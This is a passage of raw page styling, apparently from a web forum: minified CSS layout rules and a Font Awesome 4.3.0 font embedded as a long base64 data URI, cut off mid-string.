Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0!important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px!important;max-width:960px}@media (min-width:1200px){.container{width:82%!important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px!important}#Wrapper .span10{max-width:810px!important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px!important}#Wrapper .span10{max-width:74%!important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90%!important}#Wrapper .span10{width:77%!important}.nav-collapse{clear:none!important;height:auto!important;overflow:auto!important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100%!important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px!important;padding-right:0px!important}}.content-node{padding-left:5px}@media (max-width:979px){.content-node{display:none}.t-vote{display:none!important}}@media (max-width:376px){}@media (min-width:768px){}@media (min-width:992px){}@media (min-width:1200px){}</style>
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/@font-face{font-family:"FontAwesome";src:/* original URL: https://xz.aliyun.com/static/editor.md/fonts/fontawesome-webfont.woff2?v=4.3.0 */url(data:font/woff2;base64,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